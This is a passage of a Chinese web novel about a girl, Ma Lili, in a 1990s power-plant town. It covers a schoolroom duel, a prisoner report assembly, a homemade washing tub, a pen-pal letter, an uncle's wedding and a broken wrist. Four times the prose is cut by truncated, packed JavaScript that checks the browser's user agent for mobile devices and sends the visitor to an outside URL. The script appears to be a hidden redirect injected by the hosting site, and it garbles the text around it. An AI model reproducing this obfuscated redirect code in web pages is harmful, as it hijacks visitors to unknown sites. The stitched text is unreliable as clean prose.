其他二年级们原本都围成一圈看热闹的，但马丽丽双手抓竹竿转了两转，大家顿时都退到桌子后面去了。 “先说好，你说的决斗，输了就得听我的。”马丽丽一点子心眼都用上了。 “切，我才不会输。”张兴宗拿着竹竿，脸已经不像刚才那么红温了，但还是不服气，他试了几个姿势，最后像鬼子进村似的端着竹竿，摆好姿势，试探的刺了过来，还是尖头向外。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311530|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在马丽丽眼里，对方的慢动作犹犹豫豫，不是比喻，是真.慢动作，马丽丽就不相让了，她小步退了几下，用力击打对方竹竿，张兴宗一下子没拿住，竹竿撑地，马丽丽顺势踩在上面，手指比了一个“1”。 张兴宗忿忿不平，觉得自己刚才没用力，真是亏了，他抽起竹竿大喊一声，高举下劈。马丽丽却是一个偏身，从侧面压着张兴宗竹竿用力向下。 啪。啪！ 马丽丽握着杆子顺着竹竿向对面滑上面，直接敲在张兴宗的手指上。 “哎呦。”张兴宗眼泪都差点下来了，扔下竹竿对着手使劲吹气。 围观同学纷纷起哄。 “哈哈哈哈。” “马丽丽好厉害。” “张兴宗你还是认输吧。” “马丽丽好像少林寺哦，你是不是练过。” 谢谢，我可不是秃头，而且也不是练过，主要还是对方动作太慢，握杆子的方式不对。 马丽丽不语，只比了一个“2”。 张兴宗已经心生胆怯，但还不服输，他突然捡起杆子，企图趁马丽丽不备横扫过去。 不备是不可能不备的，马丽丽也是“嘿”一声，顺着张兴宗使力的方向跟着竹竿走，自己手中的杆子却是一个反手，又敲在了张兴宗手上。 “啊！”张兴宗拿不住竹竿，一看手背，已经青了一片，他捂着手大叫：“你，你打我，你作弊！” “切，打你就是作弊？可是你说要决斗的，还不让别人打你？你以为我是你妈是你奶奶啊？”马丽丽比划着“3”说，“我已经让你先打了三次，现在该我了。” 张兴宗熟练的抱头蹲下，马丽丽抓着两根杆子就是一顿乱锤，张兴宗本以为自己是个英雄好汉，谁想没几下就坚持不住大叫。 谁挨打谁知道，太TM疼了。 叫疼就算认输，马丽丽停下手，还得给个结束语：“张兴宗，以后下午下了课你都不许马上回家，先跟我们做完作业，今年全部人都必须戴上红领巾，你不要拉后腿。好了，大家把桌子搬回来，我们散会了。” 这话其实是唬人的，虽然会分两次入队，但没有特殊情况，其实所有人都能戴上红领巾的。 看完热闹了，大家复原完教室，打开门，门外听热闹的也一哄而散。 世上没有不透风的墙，很快老师们也知道了，不过熊孩子欺负别人的时候老师的管教他不听，那他被欺负了老师们也是不知道的。 之后张兴安分了挺长一段时间，每天下午课后也遵守约定留下来一起写作业。 张兴宗安分了挺长一段时间，每天下午下课后也老老实实遵照约定留下来，和别人一起十分痛苦的写作业。同学老师都感觉清净了不少，虽然马丽丽没感觉，但她的威望也是+1+1。 看似只有张兴宗受伤的世界达成，其实他本人觉得不亏。一开始作业是写得抓耳挠腮，写了几天后，他发现大家一起写比自己在家写快多了，晚上回家玩的时间都变多了。最重要的是，等到宣布六一入队名单时，张兴宗果然听到了自己的名字，这让他松了一大口气，完全没有注意到其实一年级时没有入队的同学这一次都在名单上。 等到红领巾真的系在自己脖子上的时候，张兴宗有一种历经千难万险取得真经的珍惜感。 72.第七十二章 六一举行完了入队仪式，马上说的就是期末考试了，不过在考试之前，子弟学校全校师生参加了一次特别的报告会。 二年级不知道什么叫报告会，只为可以少上半天课而开心，大家一大早来来学校，列了队按年级顺序去了电厂礼堂，又按年级坐好。 按照顺序，马丽丽他们坐在了右侧的第一排，才坐下，旁边的朱莉莉就有了爆炸性的发现，她疯狂捅马丽丽并小声说：“马丽丽快看上面，有警察哎。” 她的声音也算不上小，其他人闻言都向上看去，果然，在舞台后方的角落里，坐着一个全副武装的警察，仔细一看，幸福小镇派出所的民警们也分散在全场的各个角落。 学生们一下子沸腾了，他们自以为小声的议论，这些警察们到底有没有真的带木仓，整个礼堂嗡嗡不绝。 大家坐定，一会儿上来一个绿制服的，他敲了敲讲台上的话筒，台下安静了一些，他向后台示意了一下，另一个绿制服带着一个穿着朴素黑裤白衫的人上来。 黑裤白衫手上戴着一副手铐，大部分学生都在窃窃私语，压根没注意他在台上说了什么。 一连上了三个黑裤白衫，台下由一开始的好奇、兴奋，到后面的疲惫、无感。 马丽丽倒是听了一听这仨人的报告，三人的报告格式统一，都是先说了自己是因为什么入狱，然后是动机、过程、刑期、忏悔。 还挺详细。 一个抢劫，一个杀人，一个人贩子，都是嘎刑。 真不知道为啥挑了这仨做报告，是为了废物利用吗？ 没人关注他们说了什么，大家都在讨论制服、真木仓、银手镯。 不得不说，这十分九零年，什么犯人到中小学作报告，站车游街，当众嘎刑，都是后来看不到的特产。 子弟学校的期末考试月一点紧张气氛都没有，包括七月初就要去县里参加高考的高三生——老师都比他们紧张，毕竟有些一点不能错的资料还需要手填。 马丽丽继续捣鼓她的洗衣桶，所有零件要重新手搓，还好她人脉广，依靠各位同学/学长学姐/学弟学妹（的家长）们，她最后成功的做出了一个洗衣桶2.01和洗衣桶2.02。 为什么有俩？多亏了人才倍出的家长们，马丽丽搞到了钢丝，有了钢丝，就有手压式洗衣桶2.01。 有了2.01，2.02也难不住。 马丽丽整了一个底座，所有脚踩式机关都整底座里，桶放底座上，里头只有旋转盘，这样就不会重心不稳了。桶和底座不好装卸，干脆就不拿下来了，桶底装了塞子，解决排水问题。 受桶容量的限制，洗衣桶最多能洗两件毛衣，再厚一点的外套、袄子和床单都不行，但这样也挺不错的了，唯一的问题是，用力过猛可能会导致转速过快，所以节奏得自己把握。 虽然一次不能洗太多衣服，但你别说，还挺好用，把洗衣服这件家务事整的跟玩似的。 徐明红一边杵着杆子，一边夸赞马丽丽：“可以啊马丽丽，出息了呀，半年不见，都变成个发明家了，还挺好玩的，比起手搓来确实省事省力的，哎，你家的也是这种吗？” “唉，我妈才不要，她只会说我浪费钱。”马丽丽叹气，这就是为什么她不愿意把自己手中的钱交给老妈，经验之谈呀，老妈永远看不见你做了什么成就，只会觉得你浪费钱，而且做的东西一点用都没有。 马丽丽撇嘴，“我妈说我买塑料桶浪费钱瞎折腾，还老指使同学帮我做事。” “哈哈哈哈哈哈。”徐明红大笑。 徐明红已经毕业了，虽然毕业证还没到手，但人先回来“实习”。 姥爷的退休手续和徐明红的接班手续还在缓慢进行，小红的工作就已经安排好了。 徐明红如今要学历有学历，要专业有专业，大小也算高级人才了，除了没有工作经验，人事考虑了半天，把她塞进了办公室。 说是办公室，其实做着领导秘书和打印室的活，以前的文件都是手写，今年年初的时候，电厂花钱升级了一下办公设备，其中就买了一台电脑386。 这玩意可是办公电脑的祖宗，哦，对比之前那个286还是先进了，同样贵的很，大家都不太敢使唤，万一坏了都没人会修，于是就派徐明红去使用了。 跟着电脑一起来的，还有几本学习用书。 “《DOS操作系统入门教程》《实用DOS操作系统命令速查手册》《DOS编程大全》，呃……你看得懂吗？”马丽丽看着这一叠新书，个个名字都是新颖的古老。 “看不懂，要不你拿回去看看？你要是会了教我一下子就行。”徐明红这算盘珠子都要崩出来了。 “切”，马丽丽翻了翻书，有意思，但没必要。 先不说过几年Windows上线后立马挤走了DOS，就这书，每一本第一章都是教你怎么开机……啊，这？ 其实就马丽丽感觉，这电脑好像也不是很有必要呢，既不能连网又不能连打印，至少要等到386/486/586/686之后的奔腾系列，带上Windows，通了万维网，能连打印机，那时候的电脑才是办公利器。 现在置办的这台386对比传统办公形式的唯一优势就是信息存储，它用的是软盘，听听，这玩意再晚几年生的孩子可能听都没听说过是啥玩意儿，但却是现在电脑的优势之一。 “比那台286是好一点儿。”徐明红喜滋滋的说。 “那老电脑去哪了？” “不知道，在领导办公室吧。” 正聊天呢，门口突然伸进一个头来，“小红来打印一下这个，打完给厂长确认签字，再给每个部门下发一张。” “好嘞。” 活这就来了。 徐明红拿着纸，上面手写了一个通知，她用拼音和五笔混合着慢慢一个字一个字打印出来，排好版，打印在蜡纸上，再把蜡纸拿去印出一张通知来。 “我去找领导签字，你在这等我哈。”徐明红深吸一口气，出门去了。 马丽丽围着“老古董”打印机查看，与其说是打印机，不如说是印刷机，比起子弟学校那台油印机来说，这玩意的蜡纸是打印出来的。 旁边还有一台铅字打印机，现场版活字印刷啊。 还有复印机和速印机，都赶上印刷厂了，难怪需要一整个屋子来放。 没想到都九零年了，竟然还在用这些东西，在马丽丽印象中，等她找工作的时候，喷墨打印机和激光打印机都已经普及了，啊，那好像应该是十年后的事了呢。 等徐明红回来，看见马丽丽正在翻旧报纸，她不自觉的皱着眉头，好像看到了什么不太开心的东西。 “在看啥？”徐明红好奇的伸过头去。 “这个，八一市有一个汽水厂被外国人收购了。”马丽丽指给她看，在报纸大大的版面上，赫然有一张中外合影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322887|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇，这个牌子挺有名的啊，我在学校也喝过，好好喝，还有外国人会收购呢。”徐明红拿过报纸粗粗看完这篇报道，“是个美丽国公司，我看看。” “是收购了整个生产线和品牌。”马丽丽手放在桌上撑着下巴，“这个牌子不会要消失了吧？” 徐明红闻言又看了看报道，“怎么会呢，人家上面不是写了，啊什么，未来共创辉煌？嘁，瞎担心。” “切，老外把牌子全买下来了，人家要是不用咋了，人家愿意，但咱们的牌子就少了一个。” “嗐，这管我们什么事，反正我们小镇也没这个汽水。” 跟小姨是唠不上这个嗑了，马丽丽又跑到孙振华家去说，其实她不是真的很懂这个，只是见过很多贴子，有的是可惜自家的自主品牌因为不懂而消失掉的，还有所谓的合资企业却被技术封锁只被当成廉价劳动力的，或是为了所谓的国际交往和气度让别国把咱们特有技术偷走的…… “哎，你说孙爷爷，咱们能不能写个文章，也发表发表，说说这个事儿？”马丽丽穿着背心裤衩啃西瓜，一边说一边还突突的把籽吐在盆里。 “咱们？那你来写，我给你打打下手。”孙振华轻描淡写的摇着蒲扇。 “啊？那哪行啊。”马丽丽赶紧露出一个谄媚的微笑，就是嘴边一圈全是红彤彤的西瓜汁，有点破坏形象，“那肯定得您来才行，我给您打下手，写我是写不来，帮帮忙还是可以的。” “嗯，安排的挺好，我看你就是爱给我找事儿干。”老头子斜着眼睛看人，嫌弃中透着亲昵。 “嘿嘿，谢谢你的夸奖。”马丽丽傻笑，说了一个蜡笔小新梗。 啊，被敲头了。 孙振海不是专业的经济或金融人才，但他却知道，不管什么新事物，在还没有摸透的情况下就发展迅速，那肯定容易掉坑里。 而且这些事孙振海心中也有个模糊的感觉，只是仿佛有片雾气挡住了脑海，在听马丽丽的疑问后，他脑子里的想法也清晰了许多，甚至还衍生出了更多的想法。 比如为了赚外汇，现在很多单位都是亏本出口，有的全靠国家补贴，这很不对劲，长此以往，单位吃不吃的住？国家能不能一直承担？而那些买东西的外国人又会怎么想？如果咱们东西真的差，人家为啥会买，如果咱们东西好，那又为啥要亏本卖？ 都写上，都写上。 不是自己专业的文章写起来还真是费劲啊，不过大话都说出去了，为了维护自己在马丽丽小朋友心中知识渊博的形象，孙振海还真是豁出去了。 孙振海：万万没想到，我都这把年纪了，还会有因为作业秃头的烦恼。 虽然像电厂这种能源单位是不可能搞合资，但孙振海认识的人中还有不少是在其他单位的，索性他给这些老家伙们都写了封信说说他担忧的情况，顺便收集收集素材。 换个思路，把这当成一般材料来写，好像会感觉简单一些，孙振海写了这么多年材料还是有点心得的。 他花了点时间写完文章，又删删剪剪修改了好几天，自觉肯定是比不了专业人士，但作为一个热心爱国的老头，提出些疑问写个文章，应该还是可以的。 孙振华把写好的文章投递给省报，心中放下一件大事，可是他也没想到，他的这篇文章竟然被首都一份重量级报纸转发了，之后还收到不少各地来信，有的质疑，有的感谢，有的提问，而被转发的这版报纸被马丽丽慎重的收藏了起来。 73.第七十三章 放暑假马丽丽不常去办公楼拿信了，不过徐明红如今在那上班，她下班就会顺路拿回来，等马丽丽晚上来蹭饭的时候顺便拿信。 今天有一封不一样的信，信封上写的都是外国字，还贴了好几张白纸条，信封上也盖满了邮戳。 “给。”徐明红把马丽丽拉到房间，偷偷把信给她，跟地下党接头似的。 马丽丽也挺奇怪，她没有马上打开，先辨认了一下邮戳和白纸条，前面几个外国戳不认得，但从时间线上来看……这封信在路上走了至少一年多！？ 啊？什么情况？你去环球旅行了吗？ 哦，倒也没有，进入种花家后不知道为啥，这信一路向北，到首都去了，然后又向南走，最后到了幸福小镇。 看样子是送错了地方。 马丽丽：原来是全国旅行啊。 马丽丽心里骂骂咧咧，手上动作小心的拆开了信。 原来是当年那位安德鲁.德莱恩寄来的，中间还夹了一张彩色相片，上面是老外一家三口穿着滑雪装的合影。 徐明红一见照片就认出来了，“这不是，是几年前我们在火车上那老外吧？他咋还给你写信啊？” “我不造啊。”马丽丽想，她那会儿是留了地址，但谁家通信中间隔了两年啊？ 写信的是安德鲁的女儿，阿德琳.德莱恩，她英文不太好的亚子，中间还不时蹦出一个法语词或德语词，内容也很简单，好像，仿佛，是要交个笔友。 单程信在路上就走了一年半，这笔友还交吗？ 马丽丽问徐明红，徐明红眼睛一转：“那你写呗，人家都给你写信了，回一个又能怎么样？再说也费不了多少精神，一封信这么久才收到呢。那内个谁，不是跟我们老家那边单位做生意吗，说不定还能来我们这里玩玩呢。” “你可拉倒吧，想得美，人家来我们这干嘛，连个交通工具都没有。” 马丽丽还是决定回信，不能落了气度嘛，反正闲着也是闲着，就跟小姨说的那样，一年也来回不了几次。 两辈子没交过外国笔友，信的内容让马丽丽纠结了好半天，难度不亚于高考作文。 写好了信，没有合适的相片，马丽丽就找了去年在西湖市时拍的相片塞进去，又仔细封好了信口，小心的将地址填写在封面上。 但寄回去需要多少邮票却让马丽丽和徐明红都犯了难，只能去邮局问。 徐明红对这件事着实好奇，她硬是在上班时间摸鱼和马丽丽一起去了邮局。 两人询问后才知道，原来不光是邮票，国际信件信封也需要专门购买，而且不能扔在邮箱里，需要自接递交工作人员处理。 原来如此。 马丽丽和徐明红问了邮资，买了信封和足够的邮票，重新装好信件齐给工作人员。 “嘿嘿。”徐明红笑出了声。 马丽丽：“你笑什么？” 徐明红：“没什么，就有点意思。” 马丽丽：“不如下次你来回信怎么样？” 徐明红：“！我又不会英语回什么信！” 马丽丽：“不，是你俩都不怎么会英语，那不正好吗？谁也笑不着谁，人家还比你小呢，有啥，不会就写中文，她不也写我们看不懂的单词，连蒙带猜呗。” 啊，也是哦。 徐明红有点动心：“我，我不行，吧？” 马丽丽：“有什么不行的，反正瞎写呗，不会问我，下次还不知道啥时候呢。” 徐明红：“好吧……那下次我也试试。” 徐明红暗措措喜滋滋，有一种新鲜的特别感。 今年夏天对徐家来说非常特别和重要，：徐高远带了一位女朋友来家，见了家长，说明两人已经处到准备谈婚论嫁阶段了。 马丽丽：我说咋一放假过周末的老不见小舅舅人影。 其实际上除了马丽丽和徐明红，其他人对这门婚事早心中有数，因为徐高远和女朋友林若柳本就是通过徐正义的哥哥徐正仁认识的。 徐家当年有四兄弟都是因为同一个项目被招到地质队，后来一起跟勘测帮忙建电厂，九。 电厂建好后需要一批人留下工作，徐正义就留下了，其他三兄弟都跟着地质队回到另一个红井县上班。 林若柳的父亲也是地质队的人，就是这层关系，两人拐弯抹角的认识了。 马丽丽的小舅母一直是这位。 林若柳名字弱柳扶风的，性格却明快大气，声音甜美语调轻快。人也是个绝对的美人，她皮肤白皙，个子高挑，中长卷发扎成高马尾，瓜子脸，五官单看并不特别，合在一起却十分亮眼。 即使是三十年后，不管她长像也好身材也好发型也好，都跟现在区别不大，只是现在更加年轻一些，马丽丽一见到她顿感亲切。 林若柳在地质队团委工作，几年后会升任市地质局某下属地质队团委书记，她跟徐高远结婚后两人一直两地分居，直到差不多十年后马丽丽上大学那年，电厂行政办公处整体搬到章市，两人才算是团聚。 所以马丽丽一直搞不明白小舅妈到底看上自家小舅啥了。 不是她嫌弃自家人，别的不说，人家小舅母身高一米六二，五十岁了还是高跟鞋爱好者，小舅才一米七一，两人站一起看着一般高。 两人分居十年，小舅母生怀孕生小孩的时候，小舅大部分时候都帮不上忙……就算住一起估计也帮不上，小舅跟姥爷一样，都是在家不干活的男人。 所以盘亮条顺工作好的小舅母林若柳到底是为啥看中不在同单位上班恋爱结婚都两地的小舅徐高远的？ 搞不懂，大概是真爱吧！ 见了父母后，婚礼就进行的很快，也非常简单。 中午的酒席就是食堂承包的，在招待所一楼有一个可以摆酒的地方。 电厂有一辆面包车，徐高远早早就申请了使用，还提前一天带着俩朋友去洗了车，挂了红，给司机塞了红包和烟。 第二天天还没亮，马丽丽还在呼呼大睡呢，徐高远就带着俩伴郎，还有小妹徐明红和大嫂刘敏一起去接亲。 没办法，太远了。 直到十点多快十一点了，接亲队伍才回来。这时候马丽丽已经在姥姥家等着了，姥姥家各处用红纸装点的喜气洋洋，比较熟的邻居都来凑热闹兼帮忙。 姥姥一大早就开始煮蛋，主要是红蛋，来吃席的人每人都要分两个，还有各路亲朋好友。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329614|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐家可是从上星期就开始买蛋了，至少买了三百个，昨天就先煮了一批带去酒席用的，今天还要现煮一些。 马丽丽穿上了今年新做的背带裙，梳好头发，戴上不怎么戴的发夹。她用毛线勾了一束红玫瑰假花，准备呆会儿车一到就送给新任小舅母。 “来啦来啦，接亲的车回来啦！新娘子回来啦！”几个小男孩一路狂奔过来，他们身后就是慢慢开过来的面包车。 “快，快放鞭炮。” 早准备好的徐东来立刻点燃长长的爆竹，在“噼里啪啦”爆竹声中，面包车停下。 打开车门先跳下来的是俩伴郎，他们挡住上前围观的人群，顺便拿下一个行李箱，旁边徐□□接过箱子先带走了。 徐高远下来后是徐明红，她一下车立马打开一把大伞，徐高远扶着自己的新娘下了车，最后是刘敏。 林若柳穿着一身大红的西装套裙，头发盘起，扎着大红的头花，脸上也化了妆，大热的天，妆有点花，头上也微微出汗。她没有带伴娘，就一个人来的。 马丽丽站在最前面，一眼瞧见两个新人表情都不太对，两人很快调整好情绪，小姨徐明红却没这么醒水，她面无表情举着伞，看上去好像很紧张，最后那位下车时却是一撇嘴，以为没人看见。 马丽丽：……什么情况？ 失态只有一瞬间，两伴郎一边发糖一边炒热气氛，马丽丽上前送花：“小舅，舅妈，百年好合，这是我做的玫瑰花，送给舅妈，舅妈美丽常在。” 林若柳顿时开心的露出笑脸，“哎呀，这是你做的？太能干了吧，好漂亮，欸，怎么还有香味？” “嘿嘿，我在底下放了个香包。” 刘敏上前来瞅了一眼，说：“人小鬼大，就喜欢搞这些花里胡哨没用的东西，我说马丽丽，你用这么好的毛线做这种玩意儿浪费钱，你妈不骂你啊？” 林若柳的脸刷的就拉下来了，眼泪差点出来。 这叫什么话，送给她的就是浪费钱？还花里胡哨，这是点我呢吧？刚才在车上的账还没算呢，又在这放屁，有这么当大嫂的吗？ 马丽丽反应快，立刻回道：“大舅母，还的是你，就爱实在的，我姥买了大头菜（咸菜），呆会儿你拿两个回去吃。走走走，姥姥姥爷早等急啦。” 看把你给闲的。 徐明红举高伞，有意无意把刘敏挤开，大家一起热闹的说着吉祥话，拥着新人上楼去了。 刘敏差点没气死，谁要吃大头菜！ 故意走在人后的徐东来不满的对老婆说：“你说你说那干嘛，我弟结婚你非找事是吧？” “我找什么事了，我就说了两句话，为了你老徐家的事我天不亮就起来……” “你不想去早说啊，现在也可以先回去。” 徐东来不想听这些没用的，他打断刘敏，赶紧上楼了。 刘敏运了会气，也上楼了，凭什么叫她回去，她才是老徐家的长媳，现在回去一大早不是白折腾了吗？ 接下来的仪式就顺利多了，主要是简单，新娘子和各位亲朋好友相互认识一下。也不兴磕头，新人一起给老人鞠了躬，大家说会话，接亲的人也稍微休整一下之后，大家一起赶往酒席现场。 74.第七十四章 结婚后，林若柳的婚假是在幸福小镇过的，她往后不在这里生活工作，只能趁现在多和婆家相处相处。 林若柳和自己的丈夫逛遍了整个幸福小镇，他俩借来了马丽丽家的双镜头相机各处留影。 不光是和徐高远，林若柳还带着徐明红和马丽丽到处游玩拍照，虽然她不喜欢大嫂刘敏，但徐航正是新鲜又可爱的年纪，于是也把他带上了。 对马丽丽来说，小舅母林若柳算是旧瓶装新酒，熟的不能再熟，却不知林若柳对马丽丽印象极为深刻。 大家平时习惯了马丽丽的兴趣爱好和日常作息，可是林若柳作从来没见过像马丽丽这样的小孩。 每天一大早就起来学外语，而且还是坚持了很多年，山沟子里没啥玩具就自己手搓，什么电路图、电焊棒都玩的很溜，家里人也挺放心，一点都不担心她会受伤。 这些玩腻了，马丽丽也会玩点女孩子样的手工，自己用线啊布啊做点花呀朵呀的，或是绣个花什么的，林若柳还被展示了一下，马丽丽以前做的毛衣围巾手套之类的。 这些还算正常，毕竟大部分人家的毛衣毛裤围巾手套，都是自己打的，只除了马丽丽做这些的年纪有点小。 林若柳长这么大，还没自己打过一件毛衣呢，她被马丽丽激起了好胜心，偷偷用许高远的借书证去图书馆借了一本杂志，又买来毛线，决定回去后打一件毛衣，等下次来的时候送给马丽丽。 马丽丽不知道林若柳突如其来的胜负欲，只觉得小舅舅挺鸡贼的，他和小舅母各有婚假，可是现在还是暑假，他自己的婚假没用上。等开学后小舅母回去上班，他就可以请婚假跟着去红井县。 双倍的假期，双倍的快乐。 等开学后，徐高远果然如马丽丽所想的那样操作，被马丽丽和徐明红在背后蛐蛐了好几天。 三年级对马丽丽来说好像有点水逆，她发生了一件十分悲惨的大事情。 事情发生的前几天，电厂有个人生病被紧急送到市里去住院，老爸马天华作为医生一起跟着去了，算出差。 接连几天是秋日难得的绵绵细雨，天阴阴的很好睡觉，所以中午徐明惠和马丽丽睡过头，也不是什么奇怪的事。 “我的妈呀，要迟到了。”只听徐明惠大叫一声，把脑子还糊涂的马丽丽一把扔上单车骑着就跑，她可是下午第一节课，老师迟到，这像话吗？ 有句话怎么说来着？麻绳偏挑细处断。徐明惠一路狂奔下坡，结果在拐弯处没把握好，车轮在泥水坑中打滑，连人带车朝着马路牙子摔过去。 “哎呦。” 马丽丽只觉得撑在马路牙子上的右手腕一阵剧痛，她心中立刻想着，不会是折了吧？ 母女俩摔的一身泥点子，旁边百货公司里头几个售货员看见了，马上抓着一些稻草和草纸出来帮忙。 “徐老师，没事吧？” “谢谢谢谢。” 徐明惠简单擦了擦，扶起单车就着急的催马丽丽赶紧上来。 “妈我的手好痛，好像断了。”马丽丽左手扶着右手，稍微一动，便觉得钻心的疼。 “啊？” 徐明惠赶紧支起车来查看，哎呦，好像还真是，马丽丽的右手软绵绵的搭在左手上，右手腕有一块很明显的凸起，而且马丽丽自己好像没发现，大秋天的她一脑门子的汗。 怎么办？怎么办？ 徐明惠没主意，旁边有个售货员大姐是林场的，她啧啧几声说：“好像还真是骨折了，我们林场卫生院以前有个老中医姓彭的，会弄这个，不过他现在退休了，应该在家。徐老师，要不你们赶紧先去找他看看？他家离学校不远，你们可以找人问问，你说会正骨的彭医生，林场的都知道的。” “真的吗？那我们马上就找他去看看，谢谢啊，谢谢。” “小心点，小心，慢点慢点。” 几个人小心的把马丽丽扶上单车，徐明惠也不敢骑了，她让马丽丽坐好，自己扶着车向学校走去。 经过了最开始的剧烈疼痛之后，马丽丽觉得现在似乎没那么痛了，尤其是右手保持一个姿势搭在左手上，这个动作好像能缓解一些疼痛。都说小孩子的痛感没有成人强，看起来好像是真的。 只是马丽丽可以明显感觉到自己一直在冒冷汗，而且右手姿势必须完全保持不动，只要稍微一动，就会有新的痛感。 等徐明惠推着车，走进学校走过操场，走到去中学部的长阶梯前停下来时，马丽丽已经痛到麻木。她自己倒是不想哭的，可是眼泪不听使唤。 徐明惠见马丽丽这样，用袖子给她擦了擦脸，说：“你在这等着我就别上去了，我先去找人代一下课，还得请假，再找个人带我们去找彭医生。你就坐……花坛这等下我，我马上下来。” “好。” 有的人表面上很冷静，其实脑子已经糊了。 马丽丽不知道自己等了多久，好像已经几十分钟半个小时，也好像只过了几分钟。 天空飘起了毛毛细雨，微微风一吹，就飘散开来，如若无物的落在马丽丽的头发上、睫毛上，马丽丽却丝毫没有感觉。 这时有一个老师从后面路过，她看见马丽丽的样子吓了一跳。这位同学混身狼狈，头发像鸡窝，上面全是小水珠子，衣服上也尽是泥巴，天儿有些凉飕飕的，她却把两只袖子都撸得高高的，两只手还摆出一个奇怪的姿势，人也直直的坐在水泥台阶上一动不动。 老师好奇的转过来，原来是马丽丽，她一脸又是鼻涕又是眼泪的，也不知道在干嘛。 “马丽丽，你干嘛呢？怎么不上课？你是在等你妈吗？” 马丽丽现在反应迟钝，好半天才抬起头，又眨巴眨巴眼睛，好让眼泪流下去。“田老师，我妈让我等她，我手骨折了。” 田老师：骨折？你也太淡定了吧？ 看了马丽丽几眼，田老师回房间去又回来——她就住在马丽丽背后这栋老师宿舍——手里还拿着几张卫生纸和一个杯子。 “哎，擦擦脸吧，这一脸，啧。” “谢谢老师。” 马丽丽刚想动弹，发现全身僵硬，左手也不敢动，她哭唧唧的看向田老师。 田老师：…… 还是我来吧。 田老师亲自上前，给马丽丽擦了擦头发眼泪和鼻涕，又十分嫌弃的把纸扔地上，然后从口袋里拿出一块干净手绢，倒着杯子里的温水给马丽丽把脸上手臂上的泥巴擦了擦，又把温水倒在马丽丽蹭破皮的伤口上给她清了清，最后从口袋里拿出一根棉签和瓶子，沾着红药水涂在马丽丽伤口上。 马丽丽：“呼呦呦呦呦。” 田老师强忍住笑，给马丽丽吹了吹，又找点话转移她的注意力，“你妈……徐老师干嘛去了，怎么把你一人留在这儿？” 马丽丽：“我妈说她还有课，要找人代课，还要请假，还要找人带我去找彭医生。” 啊，这也，太敬业了吧。 “彭医生？” “我也不知道，好像是林场卫生所的，会正骨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336790|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦。” 虽然田老师也算是林场职工，但还真没听过这位医生。 “你要不到走廊上等着？这天都飘雨了。” “还是不要了，我上台阶手痛。” “那好吧。” 尬聊了一会儿，徐明惠终于回来了，后面还跟着一位林场的赖老师，她一见就明白了，对着田老师连连道谢。 “哎呀麻烦了，田老师，麻烦你了。” “没事没事，赶紧去看医生去吧？” “哎好好好。” 徐明惠扶出车，抹了一把车上的水珠子，另两个老师合力小心的把马丽丽扶上车。 “赶紧去吧。” “哎好好好。” 彭医生家离学校不远，就是一路上坡，房子就座落在斜坡下，彭医生家住红砖房二楼，自己开了个后门，搭了水泥桥直达大路不用绕行。这么干的不止一家，沿着马路斜坡堆着一排空心水泥砖，也有放着破脸盆破痰盂的，里面种着小葱大蒜辣椒等作物。 徐明惠三人到的时候彭医生正在后门剪小葱，赖老师远远看见他就高声叫道：“彭医生，彭医生，来看下子徐老师家的小孩，手折了。” “哎？等我一下，你们先进来。” 彭医生回屋放下东西，细细的洗干净手出来。 马丽丽已经坐在凳子上了，彭医生简单问了一下情况便上手检查，虽然只是轻轻捏了几下，但马丽丽却痛的眼前一黑。 徐明惠和赖老师都忍不住说：“彭医生，轻点啦。” 彭医生习以为常，嘴里十分不走心的安慰：“不痛不痛哈，哎呀我没用劲的，不怕痛，不怕痛。是腕骨骨折，我先给你正正骨。”说着一点没有预兆就动起手来，两手先是一掰，然后一手抓着马丽丽小臂一手用力顺着手腕调整。 马丽丽眼泪鼻涕口水齐飞：“啊…呀…啊…哦…哎…呦…”脚下把木地板跺的咣咣响。 人痛起来的时候脑子里是完全没其他念头的。 徐明惠心疼不已，眼眶泛红。 彭医生一边用力一边叨咕：“很快很快，一下就好了，忍一下忍一下啊，马上好……哎你们按住她一下哇。” “哦哦。”徐明惠赶紧上着搂住马丽丽。 